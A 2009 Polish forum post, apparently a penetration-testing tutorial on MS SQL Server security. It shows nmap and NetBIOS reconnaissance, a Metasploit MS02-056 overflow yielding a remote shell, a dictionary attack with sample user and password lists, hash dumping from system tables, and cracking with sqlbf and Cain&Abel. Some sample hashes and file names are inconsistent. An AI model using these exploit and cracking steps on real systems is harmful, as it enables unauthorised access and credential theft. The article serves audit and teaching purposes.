IFAR

Internetowe Forum Archiwalne => Problematyka budowy baz danych => Wątek zaczęty przez: Grzegorz Gałęzowski w Czerwiec 23, 2009,

Tytuł: Bezpieczeństwo baz danych
Wiadomość wysłana przez: Grzegorz Gałęzowski w Czerwiec 23, 2009,
Bezpieczeństwo baz danych i aplikacji.

Może ktoś będzie zainteresowany tematem. Chciałbym zaprezentować tekst o bezpieczeństwie baz danych i aplikacji. W poniższym artykule przedstawię jak sprawdzać bezpieczeństwo naszych danych. Na pierwszy ogień dałem MS SQL. W razie zainteresowania mogą być przedstawione inne silniki (MySQL, Postgresql, Oracle itd.).

Istnieje bardzo wielkie ryzyko, że dane z baz danych mogą wpaść w niepowołane ręce. Aby się przed tym uchronić, przedsiębiorstwa są zmuszane do nieustannej analizy zastosowanych ustawień polityki bezpieczeństwa dla pakietów oprogramowania i własnych aplikacji.

Microsoft SQL Server to popularne i niezawodne środowisko dla wielu aplikacji, które korzystają z baz danych ? w połączeniu z dużą elastycznością, daje sporo możliwości. Niestety, jeśli taki potencjał nie zostanie odpowiednio zabezpieczony, wykorzystywany może być w niewłaściwy sposób.

Ten artykuł ma na celu określenie pewnych rodzajów ryzyka, które mogą wynikać z niewłaściwego zarządzania Microsoft SQL Server.
SQL Server domyślnie pozwala wszystkim użytkownikom na dostęp do głównej bazy danych, która zawiera wszystkie ustawienia dla programu, w tym także wszystkie informacje, które SQL Server wykorzystuje do otwarcia bazy danych. Zawiera także wszystkie identyfikatory logowania SQL, danych z podłączonych serwerów itp. Oczywiście podstawowi użytkownicy nie mają dostępu do wszystkich zasobów informacyjnych. Niemniej jednak nazwy kont i baz danych (w tym informacji przechowywanych na nich) mogą być dostępne nieuprzywilejowanym użytkownikom.

W niniejszym artykule pokazane zostaną najczęstsze błędy baz danych i ich usług,
omówione metody identyfikacji i wykorzystania ich przy użyciu narzędzi dostępnych z poziomu systemu Linux i Windows.
Case studies (czyli korzystanie z otwartych i zamkniętych narzędzi audytowych) będzie oferować czytelnikowi wszechstronne podejście do korzystania z narzędzi i technik przedstawionych w tym artykule. Wiedza zdobyta na praktycznych przykładach może być bezpośrednio stosowana w odniesieniu do świata rzeczywistego.
Wszyscy, którzy będą chcieli przeprowadzać testy na bazach danych, muszą najpierw poznać podstawowy zestaw narzędzi i technologii potrzebnych do skutecznego audytu. Po pierwsze, podstawowe pojęcia: definicję bazy danych oraz poszczególnych części składowych typowego systemu zarządzania bazami danych. Następnie kilka cech powszechnie używanego systemu zarządzania bazami danych jakim jest Microsoft SQL Server, w tym jego domyślne konta użytkowników, a także jego strukturę. W końcowej fazie szczegóły techniczne instalacji bazy, w tym domyślne porty, protokoły oraz inne informacje ważne dla testów penetracyjnych.

Podstawowe pojęcia
Czym jest baza danych i jak się różni od systemu zarządzania bazą danych? Baza danych jest uporządkowanym zbiorem informacji, który związany jest w zorganizowany sposób. System zarządzania bazą danych jest programem komputerowym używanym do uzyskiwania
dostępu, zarządzania i aktualizacji informacji w bazie danych. Od tego miejsca, aż do końca artykułu, będą stosowane  terminy systemu zarządzania bazy danych i baz danych zamiennie, by odnieść się do terminu bazy danych i systemu zarządzania bazą danych.

Instalacja bazy danych
Zrozumienie tego, co się dzieje, po zainstalowaniu bazy danych jest ważne dla zrozumienia sposobu podejścia do badań, nad strukturą systemu bazy danych. Instalowanie bazy danych jest podobne do instalowania innych programów. Potrzeby bazy danych są unikalne i często oprogramowanie bazy danych jest tylko aplikacją zainstalowaną na serwerze lub stacji roboczej. Stworzenie rzeczywistej bazy danych wymaga szczególnej uwagi i wiedzy.
Różne systemy w tym i SQL Server mają funkcje do tworzenia bazy danych za pomocą kreatora, za pomocą skryptów lub też ręcznie. Kiedy baza danych jest tworzona, wraz z nią tworzone są konta domyślnych użytkowników, ich role i uprawnienia. Administrator bazy danych powinien zabezpieczyć wiele ze wspomnianych, domyślnych elementów już w momencie tworzenia.

Zabezpieczenie baz danych jest trudniejsze, niż większości innych systemów. Jeśli baza danych jest produkcyjna, naprawa lub wykonanie zabezpieczeń może spowodować, że przestanie ona działać prawidłowo. Ważne jest, by wymogi bezpieczeństwa były wbudowane w system w tym samym czasie, co wymagania funkcjonalne bazy danych.
Jeśli programista lub administrator buduje bazę danych korzystając z domyślnych ustawień, bez żadnych wskazówek z zakresu wymogów bezpieczeństwa, to takie bazy danych mogą posiadać wiele funkcji, które będą ją upośledzać pod względem bezpieczeństwa.

Użytkownicy Microsoft SQL Server
W SQL Server tworzone jest konto o nazwie sa, czyli administratora systemu programu SQL Server, właściciela bazy danych (dbo) i wszystkich baz danych na serwerze SQL. Konto logowania sa jest podłączone do roli sysadmin. Jest to również dbo dla wszystkich baz danych. To konto domyślnie przyznaje wszystkie przywileje i uprawnienia na bazy danych i można dzięki niemu także wykonywać polecenia systemowe na serwerze SQL.
Kiedy tworzone jest konto nowego użytkownika SQL Server, administratorzy (DBA) muszą zadbać o przydział odpowiednich przywilejów i ról dla takiego użytkownika.

Można także skonfigurować SQL Server do używania uwierzytelniania użytkowników systemu Windows tylko lub w połączeniu z SQL Server, który to tryb nazywa się trybem uwierzytelniania mieszanego. Gdy nowe konto jest tworzone, użytkownik może uwierzytelniać się do bazy i pracować na niej w granicach swoich uprawnień i funkcji. Tryb uwierzytelniania systemu Windows ułatwia pracę użytkownikowi, ponieważ ma on do zapamiętania tylko jedno hasło, ale to może również stworzyć potencjalne luki. Jeśli uwierzytelnianie dla użytkownika Windows będzie naruszone i baza danych używa właśnie takiego typu uwierzytelniania, to dostęp do bazy danych będzie bezproblemowy. Z punktu widzenia bezpieczeństwa jest to bardzo duże zagrożenie.

SQL Server ? role i uprawnienia
Microsoft SQL Server ma uproszczone zarządzanie uprawnieniami poprzez tworzenie ról.
Aby pomóc administratorom w tworzeniu, modyfikowaniu, usuwaniu i sprawdzaniu kont SQL Server wyposażony jest w zestaw wbudowanych ról bazy danych. Można je wykorzystać także do grupowania użytkowników. Do grupowania użytkowników, mających te same potrzeby dostępu, można również utworzyć własne role bazy danych i przypisać uprawnienia grupom zamiast poszczególnym użytkownikom.

Tabela 1. Stałe role bazy danych w SQL Server
(http://www.lublin.ap.gov.pl/gsgalezowski/sql1.JPG)

SQL Server procedury przechowywane i rozszerzone
W procedurach przechowywanych znajdują się fragmenty kodu napisane w języku Transact-SQL (T-SQL), które są udostępniane do dalszego wykorzystania. Przykładem przydatnej procedury jest sp_addlogin, która to stosowana jest w celu utworzenia nowego użytkownika. Rozszerzone procedury są podobne do procedur przechowywanych, chyba że zawierają linki bibliotek dynamicznych (DLL). Rozszerzone procedury uruchamiania SQL Server służą do zwiększenia funkcjonalności bazy danych na serwerze. Jedną z rozszerzonych procedur przydatną przy testach penetracyjnych jest xp_cmdshell, która pozwala użytkownikowi na wykonanie polecenia w powłoce systemu operacyjnego Windows. Jak widać, procedury składowane w SQL Server mogą znacznie poprawić możliwości bazy danych. Jednakże mogą one także tworzyć poważne luki w zakresie bezpieczeństwa.

Komunikacja
Gdy baza danych jest już zainstalowana, użytkownik musi mieć możliwość podłączenia się do niej by móc jej używać.
Do komunikacji wykorzystywany jest protokół TCP (Transmission Control Protocol) i UDP (User Datagram Protocol). Domyślnie SQL Server wykorzystuje port TCP 1433 do połączenia z bazą danych. Ten port może być oczywiście zmieniony, ale zwykle nie jest. Większość może wiedzieć, jaki jest domyślnie wykorzystywany port TCP dla programu SQL Server, ale wielu może nie zdawać sobie sprawy, że port UDP jest także silnie związany z bazą danych. Port UDP 1434 umożliwia klientom przeglądanie bazy. Port ten może stać się celem ataku dla wielu robaków i może być wykorzystany do ataku typu przepełnienia buforu. Firma Microsoft wydała poprawkę do tego problemu, ale nadal można znaleźć tę lukę w wielu środowiskach.

Korzystanie z otwartych i zamkniętych narzędzi audytowych
Pierwszym krokiem w przeprowadzeniu wszelkich testów penetracyjnych jest odkrycie, jakie porty są otwarte na danym hoście, a także powiązanych z nimi usług. W następnych kilku krokach  wskazane będą metody identyfikacji Microsoft SQL Server.
DNS (Domain Name System) jest procesem rozwiązywania nazw hostów z adresów IP (Internet Protocol). Opisowe nazwy mogą ujawnić wiele informacji, takie jak rodzaj systemu operacyjnego i usług uruchomionych na danym systemie. Listing 1 pokazuje popularny skaner portów Nmap za pomocą którego można wykonać skanowanie (z opcją -SL), pokazany jest tu zakres adresów IP do nazw hosta.
Listing 1. Skanowanie nmap z opcją -sL

gsg ~ # nmap -sL 10.0.0.210-215

Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 13:12 GMT
Host 10.0.0.210 not scanned
Host 10.0.0.211 not scanned
Host mssql2000.pl (10.0.0.212) not scanned
Host mssql2005.pl (10.0.0.213) not scanned
Host 10.0.0.214 not scanned
Host 10.0.0.215 not scanned
Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.012 secondes
gsg ~ #

Wynik skanowania z wykorzystaniem skanera Nmap zwrócił listę adresów IP, zwróci także rozwiązaną nazwę mssql2000 i mssql2005. Można określić z uzyskanych wyników, że istnieje wysokie prawdopodobieństwo, że pod adresem 10.0.0.212 jest uruchomiony program Microsoft SQL Server 2000, a pod adresem 10.0.0.213 jest uruchomiony program Microsoft SQL Server 2005.
Skanowanie portów TCP i UDP
Skanowanie portów to działanie polegające na wysyłaniu pakietów TCP lub UDP do systemu celem sprawdzenia otwartych portów i dostępnych serwisów. Skanowanie sieci, można przeprowadzić właśnie takim programem jak Nmap, który pomaga określić, jakie hosty są aktywne i jakie porty TCP i UDP są na nich otwarte. Na Listingu 2 i Listingu 3 wykonane zostało skanowanie z wykorzystaniem Nmap w poszukiwaniu serwera Microsoft SQL i domyślnych portów TCP i UDP (patrz Ramka Port Number Service Service Description), korzystając z opcji opisanych w Ramce Opis opcji Nmap.

Port Number Service Service Description
1433/tcp ms-sql-s Microsoft-SQL-Server
1434/udp ms-sql-m Microsoft-SQL-Monitor
Opis opcji Nmap
-sS skanowanie TCP SYN
-sU skanowanie UDP
-sV sprawdzanie systemu w celu odkrycia otwartych portów, określenia usług i pozyskanie informacji o ich wersjach,
-P0 Skanuj wszystkie hosty dostępne online
-T4 ustaw czas szablonu (im wyższy tym jest szybszy)
-pT:1433,U:1434 zakres portów. Podczas skanowania obu portów TCP i UDP, można określić konkretny protokół poprzedniego numeru portu przez T: lub U:.

Listing 2. Skanowanie z wykorzystaniem Nmap

gsg ~ #nmap -sL 10.0.0.210-215

Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:30 GMT
Host 10.0.0.210 not scanned
Host 10.0.0.211 not scanned
Host mssql2000.pl (10.0.0.212) not scanned
Host mssql2005.pl (10.0.0.213) not scanned
Host 10.0.0.214 not scanned
Host 10.0.0.215 not scanned
Nmap finished: 6 IP addresses (0 hosts up) scanned in 0.021 seconds

Listing 3. Skanowanie Nmap

gsg ~ #nmap -sSUV -P0 -T4 -pT:1433,U:1434 10.0.0.213
Starting Nmap 4.20 ( http://insecure.org ) at 2009-02-02 12:35 GMT
Interesting ports on mssql2005.pl (10.0.0.213):
PORT     STATE   SERVICE   VERSION
1433/tcp open ms-sql-s?
1434/udp open ms-sql-m Microsoft SQL Server 0.00.1399.06 (ServerName: MSSQL2005; TCPPort: 1433) MAC Address: 00:0C:31:DF:5A:01
Service Info: OS: Windows

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/
Nmap finished: 1 IP address (1 host up) scanned in 26.834 seconds

Nmap przedstawił informacje na temat wersji serwera i wykorzystywanych portów, w tym także informację o MAC adresie. Korzystając z Nmap można także określić dokładnie jaka jest to wersja serwera, a także czy i jakie zainstalowane są dodatki typu Service Pack. Pomocna przy określaniu wersji serwera będzie Ramka Publikacje wersji Sqlservr.exe, w której są wymienione różne wersje sqlserv.exe
Publikacje wersji Sqlservr.exe
Released to Manufacturing (RTM) 2000.80.194.0
SQL Server 2000 Service Pack 1 2000.80.384.0
SQL Server 2000 Service Pack 2 2000.80.534.0
SQL Server 2000 Service Pack 3 2000.80.760.0
SQL Server 2000 Service Pack 3a 2000.80.760.0
SQL Server 2000 Service Pack 4 2000.8.00.2039
SQL Server 2005 Service Pack 1 2005.90.2047
SQL Server 2005 Service Pack 2 2005.90.3042

NetBIOS i protokół Server Message Block (SMB)
W systemach Microsoft Windows Server jak i w stacjach roboczych informacje o zarejestrowanych usługach zintegrowane są z główną przeglądarką. NetViewX (www.ibt.ku.dk/jesper/NetViewX/) oraz MBEnum (www.cqure.net/wp/?page_id=20). Są to dwa programy, które mogą być wykorzystane do odpytania głównej przeglądarki i uzyskania tą drogą informacji o zarejestrowanych usługach. Analiza systemu Microsoft SQL Server z wykorzystaniem protokołu SMB jest bardzo szybka i przy tym w sumie niewykrywalna (wygląda to tak jak przy normalnej pracy z SMB) możemy odkryć, usługi ustawione na słuchanie na domyślnym porcie TCP (1433/tcp) chronione przez firewall lub w przypadku niektórych wersji, gdy usługa nie ma zezwolenia na zdalne połączenie. Listingi 4 i 5 ilustrują właściwe użycie poleceń i wykonanie odpowiednio programu NetViewX i MBEnum. W tych przykładach, odpytywana jest domena gsgcorp z Microsoft SQL Servers 2000 i 2005.

Listing 4. NetViewX używanie komend

C:\cmd>NETVIEWX.EXE -h
Usage:netviewx [-D domain] [-T type...] [-0 format : -x] [-t | -c x] [-C x]
Lists current nodes in a domain that matches servers running specific services.
Version: v0.5 19990203.
-D   domain The domain to list. Default is the current domain.
-T    type... The service types to match, Can be one or more of: workstation, server, sqlserver,domain_ctrl, domain_bakctrl, time_source, afp, novell, domain_member, printing_server, dialin_server, server_mfpn, server_nt, server_osf, server_unix, nt, wfw, potential_browser, backup_browser, master_browser, domain_master, server_vms, windows, dfs, cluster_nt, dce, alternate_xport, local_list_only, domain_enum, all. Default is all.
-0    format Selects the fields to list for the servers. The format should be a string of letters, where: n=name, m=major version, i=minor version, p=platform id, T=service types, C=comment in quotes, c=comment witch major and minor version. Default is nmipTC.
-x   A shorthand for -0nsvtc -c " " -C +
-t   Separate fields with tabs. Default is comma (,).
-c x   separate fields with the character x.
-C x   Separate the server types with the character x. Default is to separate the types with x.

C:\cmd>NETVIEWX.EXE -D gsgcorp -T sqlserver
MSSQL2000,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser%master_browser%2000000,""
MSSQL2005,5,0,500,nt%workstation%server_nt%server%sqlserver%backup_browser %2000000,""

Listing 5. Używanie programu MBEnum

C:\cmd\mbenum
MBEnum v.1.5.0 by patrik@cqure.net
----------------------------------------------
mbenum [-s \\server] [-d don ] [-f filter] -p <mode>

Presentation modes:
1 - by server
2 - by service
3 - by service vertically
c:\cmd>mbenum.exe -d gsgcorp -f "SQL Server" -p 1

MBEnum v.1.5.0 by patrik@cqure.net
Name: MSSQL2005
Services: Server, Workstation, SQL Server, Term, server, Member server
Comment:
OS Version: Windows 2003 Server

Name: MSSQL2000
Services: Server, Workstation, SQL Server, Master browser, Term, server, Member server
Comment:
OS Version: Windows 2003 Server

W obydwu przykładach wyniki zapytania zawierają nazwy NetBIOS (MSSQL2000 i
MSSQL2005) i nie mają powiązanych z nimi adresów IP. Jak widzimy na Listingu 6 można użyć narzędzia nmblookup, które rozwiąże nazwy NetBIOS na adresy IP.

Listing 6. Rozwiązywanie nazw NetBIOS na adresy IP z wykorzystaniem nmblookup
gsg ~ # nbmlookup MSSQL2000
querying MSSQL2000 on 10.0.0.255
10.0.0.212 MSSQL2000<00>

gsg ~ # nmblookup MSSQL2005
querying MSSQL2005 on 10.0.0.255
10.0.0.213 MSSQL2005<00>

Po wykryciu bazy danych i serwera docelowego, następnym krokiem jest identyfikacja słabych punktów w usługach. Przydatnym narzędziem do tego celu będzie Metasploit Framework. Jest to pakiet, który rozwijany jako platforma do tworzenia narzędzi wykrywających luki systemowe, wykorzystuje także możliwości skanera Nessus.
Metasploit Framework 3
Program ten umożliwia pracę zarówno z linii poleceń oraz w środowisku graficznym. Warto pamiętać o aktualizacji systemu MF3 (Listing 7).

Listing 7. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN)

gsg ~ # cd /pentest/exploits/framework3/
gsg framework3 #svn update

Użyjemy teraz konsoli msfcli i narzędzia wyszukiwawczego grep by odnaleźć dostępne exploity dla Microsoft SQL Server (Listing 7).

Listing 7 a. Aktualizacja Metasploit z wykorzystaniem Subversion (SVN)
gsg framework3 # ./msfcli |grep -i mssql
   exploit/windows/msql/ms02_039_slammer      Microsoft SQL Server Resolution Overflow
   exploit/windows/mssql/ms02_056_hello      Microsoft SQL Server Hello Overflow
   auxiliary/scanner/mssql/mssql_login      MSSQL Login Utility
   auxiliary/scanner/mssql/mssql_ping      MSSQL Ping Utility

Gdy już wszystko jest ustalone, wiadomo które exploity będą wykorzystane przeciwko Microsoft SQL, warto uzyskać szczegółowe informacje na ich temat, korzystając z informacji zbiorczych polecenia S. Można również wykorzystać flagę E z odpowiednimi parametrami RHOSTS dla badanego elementu. Listing 8 i 9 demonstruje sposób praktycznego wykorzystania omówionych elementów do wyświetlenia szczegółowych informacji na temat wybranych elementów.

Listing 8. Uzyskanie szczegółowych informacji z wykorzystaniem parametru S

gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S


   Name: MSSQL Login Utility
 Version: 4749

Provided by:
   MC y0@w00t-shell.net

Basic options:
   Name      Current Setting    Required   Description
      ------        ------------------      ----------     --------------
      RHOSTS                      yes         The target address range or CIDR identifier
   RPORT   1433         yes      The target port
   THREADS   1         yes      The number of concurrent threads

Description:
   This module simply queries the MSSQL instance for a null SA account.

gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E


gsg framework3 ./msfcli auxiliary/scanner/mssql/mssql_login RHOSTS=10.0.0.212 E



gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_login S


   Name: MSSQL Login Utility
 Version: 4749

Provided by:
   MC y0@w00t-shell.net

Basic options:
   Name      Current Setting     Required   Description
      ------        ------------------     ----------     --------------
      RHOSTS                      yes         The target address range or CIDR identifier
   THREADS   1            yes         The number of concurrent threads

Description:
   This module simply queries the MSSQL instance for information.


gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.212 E


gsg framework3 # ./msfcli auxiliary/scanner/mssql/mssql_ping RHOSTS=10.0.0.213 E

gsg framework3 #

Listing 9. Uzyskanie szczegółowych informacji na temat exploita ms02_056_hello

gsg framework3 # ./msfcli exploit/windows/mssql/ms02_056_hello S

   Name: Microsoft SQL Server Hello Overflow
    Version: 4498
    Platform: Windows
  Privileged: Yes
    License: Metasploit Framework License

Provided by:
   MC y0@w00t-shell.net

Available targets:
    Id  Name
--  -------
0  MSSQL 2000 / MSDE <= SP2

Basic options:
   Name      Current Setting    Required  Description
   -------      -------------------     -----------  -------------
   RHOST                   yes       The target address
   RPORT    1433             yes       The target port

Payload information:
   Space: 512
   Avoid: 1 characters
Description:
By sending malformed data to TCP port 1433, an unauthenticated remote attacker vould overflow a buffer and possibly execute code on the server with SYSTEM level privileges. This module should work against any vulnerable SQL Server 2000 or MSDE install (< SP3).

References:
http://www.securityfocus.com/bid/5411
http://cvd.mitre.org/cgi-bin/cnename.cgi?name=2002-1123
http://www.microsoft.com/technet/security/bulletin/MS02-056.mspx
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2002-1123
http://milw0rm.com/metsploit/43

Można zauważyć, że wykorzystanie wybranego exploita jest przeznaczone dla Microsoft SQL Server 2000 z dodatkiem Service Pack 2 i starszym. Badanie SQL Server dostępnego pod adresem IP 10.0.0.212 ukazuje podatność na wykorzystanie tego exploita. Narzędzie ping wykryło, że Microsoft SQL uruchomiony został w wersji 8.00.194. Na Listingu 10 widać, że jest to wersja która poprzedza Service Pack 1.

Listing 10. Wykonanie exploit?a Microsoft SQL Server Hello Overflow

gsg framework3 # ./msfcli exploit/windows/mssql/ms02_56_hello PAYLOAD=generic/shell_bin_tcp TARGET=0 RHOST=10.0.0.212 E


Microsoft Windows 2000 [Version 5.00.2195]
(c) Copyright 1985 - 1999 Microsoft Corp.

C:\WINNT\system32>exit
gsg framework3 #

Atak na autentykację Microsoft SQL Server
W celu uwierzytelnienia się do programu Microsoft SQL Server potrzebna jest znajomość nazwy użytkownika i hasła. Jedną z metod uzyskania dostępu do oprogramowania Microsoft SQL Server, jest wykonanie ataku słownikowego z wykorzystaniem wspólnej nazwy dla użytkownika i hasła.
Tryb uwierzytelniania Windows NT Authentication Mode
Domyślnie członkowie lokalnych grup administratorów w systemie Windows mają prawa administratora systemu Microsoft SQL Server. Nazwa użytkownika i hasło nie są przechowywane w Microsoft SQL Server.

Tryb mieszany (najczęściej spotykany)
W trybie mieszanym wspierane jest zarówno uwierzytelnianie systemu Windows i uwierzytelnianie ze strony SQL Serwer. Tryb ten nie jest domyślny. Jego powszechne stosowanie wynika z problemów ze zgodnością z niektórymi aplikacjami wymagającymi programu Microsoft SQL Server lub też wymagane jest uwierzytelnianie przez użytkownika sa. Nazwy użytkowników i hasła są przechowywane w Microsoft SQL Server.

Hasła w Microsoft SQL Server ? wytyczne
Dla zagwarantowania większego bezpieczeństwa należy wprowadzić politykę wymuszania haseł dla standardowego logowania. W SQL Server można wprowadzić politykę Microsoft Windows dla standardowego logowania, tak żeby spójne zasady zostały zastosowane do wszystkich kont w domenie.
Wymuszanie haseł musi być ręcznie skonfigurowane, zgodnie z polityką systemu operacyjnego. W SQL Server 2005 dostępne są następujące obszary wymuszania polityki haseł:
?      siła hasła;
?      wygasanie haseł;
?      blokady kont.
Domyślnie sprawdzana jest polityka haseł. Mechanizm haseł kontroluje także hasła aplikacji klienckich, dlatego też połączenia aplikacji mogą być sprawdzone pod względem siły haseł.
Złożoność hasła jest definiowana kilkoma elementami:
?      hasło musi zawierać co najmniej sześć znaków;
?      hasło musi zawierać przynajmniej trzy z czterech typów znaków: wielkie litery, małe litery, cyfry i znaki niealfanumeryczne;
?      hasło nie może mieć wartości: Admin, Administrator, Password, sa, sysadmin, nazwy komputera zawierającego instalację SQL Server i całej lub części nazwy aktualnie zalogowanego konta Windows.
Wygasanie haseł jest określone przez wartość Maksymalny okres ważności hasła ustawienia polityki grupowej, podczas gdy blokada zależy od wartości przypisanej do opcji: Czas trwania blokady konta, Próg blokady konta i Wyzeruj liczniki blokady konta po.

Audyt SQL Tools (SQLAT)
Audyt SQL Tools (SQLAT) jest zestawem narzędzi stworzonych przez Patrika Karlssona. SQLAT zawiera różne narzędzia do wykonywania ataków słownikowych, uploadu plików na serwer SQL, tworzenia zrzutu pliku SAM (z wykorzystaniem pwdump2). Dostępne jest także narzędzie do minimalnej analizy programu SQL Server z generowaniem raportów w formie HTML. Narzędzie to czasowo przywraca funkcję xp_cmdshell, gdy jest ona wyłączona. SQLAT jest oparty na bibliotece freetds i od wersji 1.0.6 wspiera system logowania NTLM list narzędzi dostępnych w zestawie:

sqlanlz tworzy raporty analityczne w języku HTML, zawierające analizę baz danych, użytkowników i rozszerzonych procedur z Microsoft SQL Server.
sqldict wykonuje atak słownikowy na Microsoft SQL Server.
sqldirtree wyświetla ASCII katalogów z bazy katalogu.
sqldumplogins robi zrzuty kont użytkowników z SQL Server.
sqlquery interaktywne narzędzie linii poleceń umożliwiające dostęp do poleceń SQL.
sqlregenumkey wylicza określony klucz rejestru.
sqlreggetvalue wymienia wartości dla konkretnego klucza rejestru.
sqlsamdump używa programu pwdump2 do zrzutu pliku SAM.
sqlupload ładuje pliki do Microsoft SQL Server.
W Listingu 12 narzędzie sqldict jest używane do przeprowadzenia ataku słownikowego na
mechanizmy uwierzytelniania SQL Server 2000 i 2005. W przypadku tego ataku korzystać można z nazw użytkowników i haseł utworzonych specjalnie na potrzeby testu (Ramka Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testu).
Nazwy użytkowników i haseł utworzonych specjalnie na potrzeby testu
gsg ~ # cat users.txt

sa
probe
openview
ovms_admin
ovdb_user
bbsd-client
netiq
public
test
admin
sysadmin

gsg ~ # cat passwords.txt

openview
ovms
ovdb
changene2
netiq
sa
sasa
sasasa
public
grzegorz
test
testtest
admin
sysadmin
changename
password
password!

Listing 11. Atak słownikowy na konta ze słabymi hasłami
gsg ~ # sqldict
   SQLDICT v1.0.0 by patrik@cqure.net
       ----------------------------------------------
      usage: sqldict [options]
     
      -i* <ip|ipfile> to probe
      -t port (default 1433)
      -u* <userfile>
      -p* <dicfile>
      -r <reportfile>
      -v verbose

gsg ~ # sqldict -i 10.0.0.212 -t 1433 -u users.txt -p passwords.txt
IP: 10.0.0.212      User: sa      Pass:

gsg ~ # sqldict -i 10.0.0.213 -t 1433 -u users.txt -p passwords.txt
IP: 10.0.0.213      User: sa      Pass: grzegorz

Po uprzywilejowanym dostępie do programu Microsoft SQL Server za pomocą exploita lub po udanym ataku słownikowym, można dodać pomyślnie złamane konto do własnego słownika. Te nowo uzyskane konto umożliwia dostęp do dodatkowych kont.
Microsoft SQL Server 2000
Microsoft SQL Server 2000 przechowuje swoje konta w bazie danych master. Hasła są generowane za pomocą funkcji pwdencrypt () w postaci hashów z użyciem algorytmu SHA-1 w tabeli sysxlogins.
W Microsoft SQL Server 2000 można pobrać nazwę użytkownika i hasło (hash) przy użyciu następującego zapytania SQL:
select name, password from master.sysxlogins
Na Listingu 12 narzędzie FreeTDS tsql jest użyte do wysyłania zapytania do SQL Server 2000. Nazwy użytkownika i hasła przechowywane są w tabelach sysxlogins w głównej bazie danych.

Listing 13. Wykorzystanie FreeTDS tsql do pobierania hashy użytkowników magazynowanych w bazie danych

gsg ~ # echo -e "select name, password from master..sysxlogins \n go" | \
> tsql -H 10.0.0.212 -p 1433 -U sa -P ""
1> 2> name   password
BUILTIN\Administrators NULL
gsg     01bf4593b3bb30b0f345345b3n43494nf3n402455b3n43494nf33942356be234eb
grzegorz 934n343b29294593b3bb30b0f nn9994n3023942356be4n343b2994593b3bb230
sa   NULL
NULL NULL

Poświadczenia kont muszą być odpowiednio sformatowane (username, <password hash>) tak, aby mogły być stosowane jako wkładka dla narzędzia SQLPAT.
gsg ~ # cat mssql2000-hashes.txt
gsg     01bf4593b3bb30b0f345345b3n43494nf3n402455b3n43494nf33942356be234eb
grzegorz 934n343b29294593b3bb30b0f nn9994n3023942356be4n343b2994593b3bb230
Na Listingu 13 SQLPAT został pobrany za pomocą wget do lokalnej instancji, następnie rozpakowany, skompilowany by ostatecznie zostać uruchomiony, co skutkuje wyświetleniem zrzutu hasła przez aplikację.

Listing 13. Pobieranie, kompilowanie i wykonywanie SQLPAT w trybie słownikowym

gsg ~ # wget -q http://www.cqure.net/tools/sqlgf-all-src-1.0.1.zip; unzip -qq sqlbf-all-src-1.0.1.zip
gsg ~ # cd sqlbf; make -is 2> /dev/null; ls ./bin; ./bin/sqlbf; cd ..
sqlbf*

MS SQL Server Password Auditing Tool Version 1.0.1
---------patrik.karlsson@se.pwcglobal.com---------------

usage: ./bin/sqlbf -u [options]

Options:
   -c <csfile>    -the character set
   -d <dictionary> - the dictionary file
   -u <userfile>     -the user & hash file
   -r <reportfile>    -the report file
gsg ~ #./sqlbf/bin/sqlbf -d dict.txt -u mssql2000-hashes.txt
Starting Dictionary attack on hashes ...
Press <space> for statistics <q> to Quit

User: grzegorz   Pw:password
Time elapsed : 0.0000000 seconds.
Approx. guesses per second : inf

Atak słownikowy jest kompletny, widać, że hashe hasła użytkownika gsg nie zostały złamane. Następnym krokiem będzie wykorzystanie sqlbf w trybie Brute Force by odczytać zawartość pozostałych hashy. Listing 15 pokazuje hash hasła użytkownika gsg ekstrahowane do nowego pliku, nie-scrackowany.txt, który jest wykorzystywany jako wkład do ataku Brute Force. Należy pamiętać, że atak siłowy nie będzie wykonywany tak szybko jak słownikowy. Podobnie jak w przypadku wielu innych rodzajów metod Brute Force, ta także może potrwać wiele dni lub tygodni.

Listing 14. Łamanie hash'y hasła z użyciem metody Brute Force
 
gsg ~ # grep -v '^nexus' mssql2000-hashes.txt > nie-scrackowany.txt
gsg ~ # cat not-cracked.txt
gsg ,0x0100B47BC335BAC32CE87HB47FC723483723443223C772883294E477EB382
gsg ~ # ./sqlbf/bin/sqlbf -c ./sqlbr/default.cm -u not -cracked.txt -r cracked.txt
Starting BruteForce attack on hashes ...
Press <space> for statistics <q> to Quit

Microsoft SQL Server 2005
W przypadku Microsoft SQL Server 2005 wartości hasła użytkownika można pobrać za pomocą jednego z następujących zapytań:
- Select name, password from sys.sql_logins
- Select name, cast (password as varbinary(256) ) from sys.syslogins
Po raz kolejny należy użyć narzędzia FreeTDS do stworzenia zapytania dla systemu SQL Server 2005 by uzyskać nazwy użytkowników i hasła, tak jak to pokazano na Listingu 16. SQLPAT i SQLAT nie są zdolne do pracy z hashami serwera SQL Server 2005, dlatego należy je sformatować inaczej i jako narzędzia łamiącego wykorzystamy program Cain&Abel (www.oxid.it/cain.html) z wykorzystaniem metody słownikowej i Brute Force.
Zdecydowanie zaleca się, aby przed wszystkimi testami przeczytać całą instrukcję obsługi (www.oxid.it/ca_um/), co pomaga w zaznajomieniu z jego szeroką funkcjonalnością.

Listing 15. Zrzut nazwy użytkownika i hash'e hasła z programu Microsoft SQL Server 2005

gsg ~ # echo -e "select name, password hash from sys.sql_logins \n go" | \
> tsql -H 10.0.0.213 -p 1433 -U sa -P sasa
1> 2> name password hash
sa  01004086cdb34b456bb3dd33389273dn329100006e9834
gsg 234n349dc34384954bbb2342b282737c3b37283cb23920
gsg ~ #

Po uruchomieniu programu Cain&Abel w systemie Windows, należy kliknąć na zakładkę Cracker, wybrać MSSQL Hashes, a następnie ikonę ze znaczkiem plus, aby uruchomić okno Add MSSQL Hashes. Następnie należy wprowadzić pozycje: Salt i Mixcase Hash, tak jak na Rysunku 1.

Rysunek 1. Dodawanie hashy do programu Cain&Abel
(http://www.lublin.ap.gov.pl/gsgalezowski/sql2.JPG) 

